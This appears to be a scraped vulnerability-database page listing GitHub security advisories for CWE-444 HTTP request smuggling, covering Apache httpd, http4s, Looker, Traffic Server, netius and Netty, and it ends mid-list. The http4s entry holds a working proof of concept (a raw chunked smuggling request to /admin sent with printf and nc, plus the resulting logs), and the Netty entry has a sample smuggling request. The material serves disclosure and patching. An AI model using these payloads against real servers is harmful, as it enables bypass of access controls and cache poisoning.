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Common Weakness Enumeration

CWE-444

Allowed

Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination.

657 vulnerabilities reference this CWE, most recent first.

GHSA-WC6R-9C75-44GQ

Vulnerability from github – Published: 2023-03-07 18:30 – Updated: 2023-03-14 18:30
VLAI
Details

Some mod_proxy configurations on Apache HTTP Server versions 2.4.0 through 2.4.55 allow a HTTP Request Smuggling attack. Configurations are affected when mod_proxy is enabled along with some form of RewriteRule or ProxyPassMatch in which a non-specific pattern matches some portion of the user-supplied request-target (URL) data and is then re-inserted into the proxied request-target using variable substitution. For example, something like: RewriteEngine on RewriteRule "^/here/(.*)" "http://example.com:8080/elsewhere?$1"; [P] ProxyPassReverse /here/ http://example.com:8080/ Request splitting/smuggling could result in bypass of access controls in the proxy server, proxying unintended URLs to existing origin servers, and cache poisoning. Users are recommended to update to at least version 2.4.56 of Apache HTTP Server.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2023-25690"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-07T16:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Some mod_proxy configurations on Apache HTTP Server versions 2.4.0 through 2.4.55 allow a HTTP Request Smuggling attack. Configurations are affected when mod_proxy is enabled along with some form of RewriteRule or ProxyPassMatch in which a non-specific pattern matches some portion of the user-supplied request-target (URL) data and is then re-inserted into the proxied request-target using variable substitution. For example, something like: RewriteEngine on RewriteRule \"^/here/(.*)\" \"http://example.com:8080/elsewhere?$1\"; [P] ProxyPassReverse /here/ http://example.com:8080/ Request splitting/smuggling could result in bypass of access controls in the proxy server, proxying unintended URLs to existing origin servers, and cache poisoning. Users are recommended to update to at least version 2.4.56 of Apache HTTP Server.",
  "id": "GHSA-wc6r-9c75-44gq",
  "modified": "2023-03-14T18:30:26Z",
  "published": "2023-03-07T18:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25690"
    },
    {
      "type": "WEB",
      "url": "https://httpd.apache.org/security/vulnerabilities_24.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/04/msg00028.html"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202309-01"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/176334/Apache-2.4.55-mod_proxy-HTTP-Request-Smuggling.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WCWH-7GFW-5WRR

Vulnerability from github – Published: 2025-09-23 17:37 – Updated: 2025-10-13 15:20
VLAI
Summary
Http4s vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section
Details

Summary

http4s is vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section. This vulnerability could enable attackers to: - Bypass front-end servers security controls - Launch targeted attacks against active users - Poison web caches

Pre-requisites for the exploitation: the web appication has to be deployed behind a reverse-proxy that forwards trailer headers.

Details

The HTTP chunked message parser, after parsing the last body chunk, calls parseTrailers (ember-core/shared/src/main/scala/org/http4s/ember/core/ChunkedEncoding.scala#L122-142). This method parses the trailer section using Parser.parse, where the issue originates.

parse has a bug that allows to terminate the parsing before finding the double CRLF condition: when it finds an header line that does not include the colon character, it continues parsing with state=false looking for the header name till reaching the condition else if (current == lf && (idx > 0 && message(idx - 1) == cr)) that sets complete=true even if no \r\n\r\n is found.

if (current == colon) {
  state = true // set state to check for header value
  name = new String(message, start, idx - start) // extract name string
  start = idx + 1 // advance past colon for next start

  // TODO: This if clause may not be necessary since the header value parser trims
  if (message.size > idx + 1 && message(idx + 1) == space) {
    start += 1 // if colon is followed by space advance again
    idx += 1 // double advance index here to skip the space
  }
  // double CRLF condition - Termination of headers
} else if (current == lf && (idx > 0 && message(idx - 1) == cr)) { // <----- not a double CRLF check
  complete = true // completed terminate loop
}

The remainder left in the buffer is then parsed as another request leading to HTTP Request Smuggling.

PoC

Start a simple webserver that echoes the received requests:

import cats.effect._
import cats.implicits._
import org.http4s._
import org.http4s.dsl.io._
import org.http4s.ember.server.EmberServerBuilder
import org.http4s.server.Router
import org.http4s.server.middleware.RequestLogger
import org.typelevel.log4cats.LoggerFactory
import org.typelevel.log4cats.slf4j.Slf4jFactory
import com.comcast.ip4s._

object ExploitServer extends IOApp {

  implicit val loggerFactory: LoggerFactory[IO] = Slf4jFactory.create[IO]

  val echoService: HttpRoutes[IO] = HttpRoutes.of[IO] {
    case req @ _ =>
      for {
        bodyStr <- req.bodyText.compile.string
        method = req.method.name
        uri = req.uri.toString()
        version = req.httpVersion.toString
        headers = req.headers.headers.map { header =>
          s"${header.name.toString.toLowerCase}: ${header.value}"
        }.mkString("\n")

        responseText = s"""$method $uri $version
$headers

$bodyStr

"""
        result <- Ok(responseText)
      } yield result
  }

  val httpApp = RequestLogger.httpApp(logHeaders = true, logBody = true)(
    Router("/" -> echoService).orNotFound
  )

  override def run(args: List[String]): IO[ExitCode] = {
    EmberServerBuilder
      .default[IO]
      .withHost(ipv4"0.0.0.0")
      .withPort(port"8080")
      .withHttpApp(httpApp)
      .build
      .use { server =>
        IO.println(s"Server started at http://0.0.0.0:8080") >> IO.never
      }
      .as(ExitCode.Success)
  }
}

build.sbt

ThisBuild / scalaVersion := "2.13.15"

val http4sVersion = "0.23.30"

lazy val root = (project in file("."))
  .settings(
    name := "http4s-echo-server",
    libraryDependencies ++= Seq(
      "org.http4s" %% "http4s-ember-server" % http4sVersion,
      "org.http4s" %% "http4s-dsl" % http4sVersion,
      "org.http4s" %% "http4s-circe" % http4sVersion,
      "ch.qos.logback" % "logback-classic" % "1.4.11",
      "org.typelevel" %% "log4cats-slf4j" % "2.6.0",
    )
  )

Send the following request:

POST / HTTP/1.1
Host: localhost
Transfer-Encoding: chunked

2
aa
0
Test: smuggling
a
GET /admin HTTP/1.1
Host: localhost

You can do that with the following command: printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\n\r\n2\r\naa\r\n0\r\nTest: smuggling\r\na\r\nGET /admin HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc localhost 8080

You will see that the request is interpreted as two separate requests

16:18:02.015 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 POST / Headers(Host: localhost, Transfer-Encoding: chunked) body="aa"
16:18:02.027 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 GET /admin Headers(Host: localhost)
Severity
6.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-ember-core_2.12"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.23.31"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-ember-core_2.13"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.23.31"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-ember-core_3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.23.31"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-ember-core_2.13"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0-M1"
            },
            {
              "fixed": "1.0.0-M45"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-ember-core_3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0-M1"
            },
            {
              "fixed": "1.0.0-M45"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-59822"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-23T17:37:23Z",
    "nvd_published_at": "2025-09-23T19:15:42Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nhttp4s is vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section.\nThis vulnerability could enable attackers to:\n- Bypass front-end servers security controls\n- Launch targeted attacks against active users\n- Poison web caches\n\nPre-requisites for the exploitation: the web appication has to be deployed behind a reverse-proxy that forwards trailer headers.\n\n### Details\nThe HTTP chunked message parser, after parsing the last body chunk, calls `parseTrailers` (`ember-core/shared/src/main/scala/org/http4s/ember/core/ChunkedEncoding.scala#L122-142`).\nThis method parses the trailer section using `Parser.parse`, where the issue originates.\n\n`parse` has a bug that allows to terminate the parsing before finding the double CRLF condition: when it finds an header line that **does not include the colon character**, it continues parsing with `state=false` looking for the header name till reaching the condition `else if (current == lf \u0026\u0026 (idx \u003e 0 \u0026\u0026 message(idx - 1) == cr))` that sets `complete=true` even if no `\\r\\n\\r\\n` is  found.\n```scala\nif (current == colon) {\n  state = true // set state to check for header value\n  name = new String(message, start, idx - start) // extract name string\n  start = idx + 1 // advance past colon for next start\n\n  // TODO: This if clause may not be necessary since the header value parser trims\n  if (message.size \u003e idx + 1 \u0026\u0026 message(idx + 1) == space) {\n    start += 1 // if colon is followed by space advance again\n    idx += 1 // double advance index here to skip the space\n  }\n  // double CRLF condition - Termination of headers\n} else if (current == lf \u0026\u0026 (idx \u003e 0 \u0026\u0026 message(idx - 1) == cr)) { // \u003c----- not a double CRLF check\n  complete = true // completed terminate loop\n}\n```\nThe remainder left in the buffer is then parsed as another request leading to HTTP Request Smuggling.\n\n### PoC\n\nStart a simple webserver that echoes the received requests:\n```scala\nimport cats.effect._\nimport cats.implicits._\nimport org.http4s._\nimport org.http4s.dsl.io._\nimport org.http4s.ember.server.EmberServerBuilder\nimport org.http4s.server.Router\nimport org.http4s.server.middleware.RequestLogger\nimport org.typelevel.log4cats.LoggerFactory\nimport org.typelevel.log4cats.slf4j.Slf4jFactory\nimport com.comcast.ip4s._\n\nobject ExploitServer extends IOApp {\n\n  implicit val loggerFactory: LoggerFactory[IO] = Slf4jFactory.create[IO]\n\n  val echoService: HttpRoutes[IO] = HttpRoutes.of[IO] {\n    case req @ _ =\u003e\n      for {\n        bodyStr \u003c- req.bodyText.compile.string\n        method = req.method.name\n        uri = req.uri.toString()\n        version = req.httpVersion.toString\n        headers = req.headers.headers.map { header =\u003e\n          s\"${header.name.toString.toLowerCase}: ${header.value}\"\n        }.mkString(\"\\n\")\n        \n        responseText = s\"\"\"$method $uri $version\n$headers\n\n$bodyStr\n\n\"\"\"\n        result \u003c- Ok(responseText)\n      } yield result\n  }\n\n  val httpApp = RequestLogger.httpApp(logHeaders = true, logBody = true)(\n    Router(\"/\" -\u003e echoService).orNotFound\n  )\n\n  override def run(args: List[String]): IO[ExitCode] = {\n    EmberServerBuilder\n      .default[IO]\n      .withHost(ipv4\"0.0.0.0\")\n      .withPort(port\"8080\")\n      .withHttpApp(httpApp)\n      .build\n      .use { server =\u003e\n        IO.println(s\"Server started at http://0.0.0.0:8080\") \u003e\u003e IO.never\n      }\n      .as(ExitCode.Success)\n  }\n}\n```\n\n`build.sbt`\n```\nThisBuild / scalaVersion := \"2.13.15\"\n\nval http4sVersion = \"0.23.30\"\n\nlazy val root = (project in file(\".\"))\n  .settings(\n    name := \"http4s-echo-server\",\n    libraryDependencies ++= Seq(\n      \"org.http4s\" %% \"http4s-ember-server\" % http4sVersion,\n      \"org.http4s\" %% \"http4s-dsl\" % http4sVersion,\n      \"org.http4s\" %% \"http4s-circe\" % http4sVersion,\n      \"ch.qos.logback\" % \"logback-classic\" % \"1.4.11\",\n      \"org.typelevel\" %% \"log4cats-slf4j\" % \"2.6.0\",\n    )\n  )\n```\n\nSend the following request:\n```http\nPOST / HTTP/1.1\nHost: localhost\nTransfer-Encoding: chunked\n\n2\naa\n0\nTest: smuggling\na\nGET /admin HTTP/1.1\nHost: localhost\n\n```\n\nYou can do that with the following command:\n`printf \u0027POST / HTTP/1.1\\r\\nHost: localhost\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n2\\r\\naa\\r\\n0\\r\\nTest: smuggling\\r\\na\\r\\nGET /admin HTTP/1.1\\r\\nHost: localhost\\r\\n\\r\\n\u0027 | nc localhost 8080`\n\nYou will see that the request is interpreted as two separate requests\n```\n16:18:02.015 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 POST / Headers(Host: localhost, Transfer-Encoding: chunked) body=\"aa\"\n16:18:02.027 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 GET /admin Headers(Host: localhost)\n```",
  "id": "GHSA-wcwh-7gfw-5wrr",
  "modified": "2025-10-13T15:20:21Z",
  "published": "2025-09-23T17:37:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/http4s/http4s/security/advisories/GHSA-wcwh-7gfw-5wrr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59822"
    },
    {
      "type": "WEB",
      "url": "https://github.com/http4s/http4s/commit/dd518f7c967e5165813b8d4a48a82b8fab852d41"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/http4s/http4s"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Http4s vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section"
}

GHSA-WFXR-5R9H-MPVW

Vulnerability from github – Published: 2024-10-11 21:31 – Updated: 2025-07-30 15:35
VLAI
Details

An HTTP Request Smuggling vulnerability in Looker allowed an unauthorized attacker to capture HTTP responses destined for legitimate users.

There are two Looker versions that are hosted by Looker:

  • Looker (Google Cloud core) was found to be vulnerable. This issue has already been mitigated and our investigation has found no signs of exploitation.
  • Looker (original) was not vulnerable to this issue.

Customer-hosted Looker instances were found to be vulnerable and must be upgraded.

This vulnerability has been patched in all supported versions of customer-hosted Looker, which are available on the Looker download page https://download.looker.com/ .

For Looker customer-hosted instances, please update to the latest supported version of Looker as soon as possible. The versions below have all been updated to protect from this vulnerability. You can download these versions at the Looker download page:

  • 23.12 -> 23.12.123+
  • 23.18 -> 23.18.117+
  • 24.0 -> 24.0.92+
  • 24.6 -> 24.6.77+
  • 24.8 -> 24.8.66+
  • 24.10 -> 24.10.78+
  • 24.12 -> 24.12.56+
  • 24.14 -> 24.14.37+
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
8.9 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-8912"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-11T19:15:11Z",
    "severity": "HIGH"
  },
  "details": "An HTTP Request Smuggling vulnerability in Looker allowed an unauthorized attacker to capture HTTP responses destined for legitimate users.\n\nThere are two Looker versions that are hosted by Looker:\n\n  *  Looker (Google Cloud core) was found to be vulnerable. This issue has already been mitigated and our investigation has found no signs of exploitation.\n  *  Looker (original) was not vulnerable to this issue.\n\n\nCustomer-hosted Looker instances were found to be vulnerable and must be upgraded.\n\nThis vulnerability has been patched in all supported versions of customer-hosted Looker, which are available on the  Looker download page https://download.looker.com/ .\n\nFor Looker customer-hosted instances, please update to the latest supported version of Looker as soon as possible. The versions below have all been updated to protect from this vulnerability. You can download these versions at the Looker download page:\n\n  *  23.12 -\u003e 23.12.123+\n  *  23.18 -\u003e 23.18.117+\n  *  24.0 -\u003e 24.0.92+\n  *  24.6 -\u003e 24.6.77+\n  *  24.8 -\u003e 24.8.66+\n  *  24.10 -\u003e 24.10.78+\n  *  24.12 -\u003e 24.12.56+\n  *  24.14 -\u003e 24.14.37+",
  "id": "GHSA-wfxr-5r9h-mpvw",
  "modified": "2025-07-30T15:35:50Z",
  "published": "2024-10-11T21:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8912"
    },
    {
      "type": "WEB",
      "url": "https://cloud.google.com/looker/docs/best-practices/security-bulletin-09-16-24"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-WGC8-C98W-8FVH

Vulnerability from github – Published: 2022-05-24 17:38 – Updated: 2022-05-24 17:38
VLAI
Details

ATS negative cache option is vulnerable to a cache poisoning attack. If you have this option enabled, please upgrade or disable this feature. Apache Traffic Server versions 7.0.0 to 7.1.11 and 8.0.0 to 8.1.0 are affected.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-17509"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-01-11T10:15:00Z",
    "severity": "HIGH"
  },
  "details": "ATS negative cache option is vulnerable to a cache poisoning attack. If you have this option enabled, please upgrade or disable this feature. Apache Traffic Server versions 7.0.0 to 7.1.11 and 8.0.0 to 8.1.0 are affected.",
  "id": "GHSA-wgc8-c98w-8fvh",
  "modified": "2022-05-24T17:38:29Z",
  "published": "2022-05-24T17:38:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-17509"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/raa9f0589c26c4d146646425e51e2a33e1457492df9f7ea2019daa6d3%40%3Cannounce.trafficserver.apache.org%3E"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-WHHQ-69JF-G65H

Vulnerability from github – Published: 2022-05-14 02:01 – Updated: 2022-05-14 02:01
VLAI
Details

There are multiple HTTP smuggling and cache poisoning issues when clients making malicious requests interact with Apache Traffic Server (ATS). This affects versions 6.0.0 to 6.2.2 and 7.0.0 to 7.1.3. To resolve this issue users running 6.x should upgrade to 6.2.3 or later versions and 7.x users should upgrade to 7.1.4 or later versions.

Severity
6.5 (Medium)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-8004"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-08-29T13:29:00Z",
    "severity": "MODERATE"
  },
  "details": "There are multiple HTTP smuggling and cache poisoning issues when clients making malicious requests interact with Apache Traffic Server (ATS). This affects versions 6.0.0 to 6.2.2 and 7.0.0 to 7.1.3. To resolve this issue users running 6.x should upgrade to 6.2.3 or later versions and 7.x users should upgrade to 7.1.4 or later versions.",
  "id": "GHSA-whhq-69jf-g65h",
  "modified": "2022-05-14T02:01:19Z",
  "published": "2022-05-14T02:01:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-8004"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/trafficserver/pull/3192"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/trafficserver/pull/3201"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/trafficserver/pull/3231"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/trafficserver/pull/3251"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/7df882eb09029a4460768a61f88a30c9c30c9dc88e9bcc6e19ba24d5@%3Cusers.trafficserver.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2018/dsa-4282"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/105192"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WM2M-XRRP-J74C

Vulnerability from github – Published: 2021-06-18 18:31 – Updated: 2024-10-07 15:08
VLAI
Summary
HTTP Request Smuggling in netius
Details

netius prior to 1.17.58 is vulnerable to HTTP Request Smuggling. HTTP pipelining issues and request smuggling attacks might be possible due to incorrect Transfer encoding header parsing which could allow for CL:TE or TE:TE attacks.

Severity
6.1 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "netius"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.17.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7655"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-14T21:29:08Z",
    "nvd_published_at": "2020-05-21T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "netius prior to 1.17.58 is vulnerable to HTTP Request Smuggling. HTTP pipelining issues and request smuggling attacks might be possible due to incorrect Transfer encoding header parsing which could allow for CL:TE or TE:TE attacks.",
  "id": "GHSA-wm2m-xrrp-j74c",
  "modified": "2024-10-07T15:08:10Z",
  "published": "2021-06-18T18:31:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7655"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hivesolutions/netius/commit/9830881ef68328f8ea9c7901db1d11690677e7d1"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-wm2m-xrrp-j74c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hivesolutions/netius"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/netius/PYSEC-2020-242.yaml"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-PYTHON-NETIUS-569141"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "HTTP Request Smuggling in netius"
}

GHSA-WM47-8V5P-WJPJ

Vulnerability from github – Published: 2021-03-09 18:49 – Updated: 2021-08-31 21:19
VLAI
Summary
Possible request smuggling in HTTP/2 due missing validation
Details

Impact

If a Content-Length header is present in the original HTTP/2 request, the field is not validated by Http2MultiplexHandler as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (HttpRequest, HttpContent, etc.) via Http2StreamFrameToHttpObjectCodecand then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling.

In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked.

An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like:

POST / HTTP/2
:authority:: externaldomain.com
Content-Length: 4

asdfGET /evilRedirect HTTP/1.1
Host: internaldomain.com

Users are only affected if all of this is true: * HTTP2MultiplexCodec or Http2FrameCodec is used * Http2StreamFrameToHttpObjectCodec is used to convert to HTTP/1.1 objects * These HTTP/1.1 objects are forwarded to another remote peer.

Patches

This has been patched in 4.1.60.Final

Workarounds

The user can do the validation by themselves by implementing a custom ChannelInboundHandler that is put in the ChannelPipeline behind Http2StreamFrameToHttpObjectCodec.

References

Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980

Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.1.60.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 4.0.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.jboss.netty:netty"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 4.0.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-21295"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-03-09T18:47:09Z",
    "nvd_published_at": "2021-03-09T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nIf a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up.  This is fine as long as the request is not proxied through as HTTP/1.1.\nIf the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel\u0027s pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling.  \n\nIn a proxy case, users  may assume the content-length is validated somehow, which is not the case.  If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked.\n\nAn attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1.   A sample attack request looks like:\n\n```\nPOST / HTTP/2\n:authority:: externaldomain.com\nContent-Length: 4\n\nasdfGET /evilRedirect HTTP/1.1\nHost: internaldomain.com\n```\n\nUsers are only affected if all of this is `true`:\n * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used\n * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects\n * These  HTTP/1.1 objects are forwarded to another remote peer.\n \n\n### Patches\nThis has been patched in 4.1.60.Final\n\n### Workarounds\nThe user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`.\n\n### References\nRelated change to workaround the problem: https://github.com/Netflix/zuul/pull/980 ",
  "id": "GHSA-wm47-8v5p-wjpj",
  "modified": "2021-08-31T21:19:12Z",
  "published": "2021-03-09T18:49:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj"
    },
    {
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      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21295"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Netflix/zuul/pull/980"
    },
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      "url": "https://lists.apache.org/thread.html/r04a3e0d9f53421fb946c60cc54762b7151dc692eb4e39970a7579052@%3Ccommits.servicecomb.apache.org%3E"
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    },
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      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r4ea2f1a9d79d4fc1896e085f31fb60a21b1770d0a26a5250f849372d@%3Cissues.kudu.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r490ca5611c150d193b320a2608209180713b7c68e501b67b0cffb925@%3Ccommits.servicecomb.apache.org%3E"
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  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Possible request smuggling in HTTP/2 due missing validation"
}

GHSA-WP36-XPJ5-G4W9

Vulnerability from github – Published: 2022-05-24 19:08 – Updated: 2023-09-28 18:30
VLAI
Details

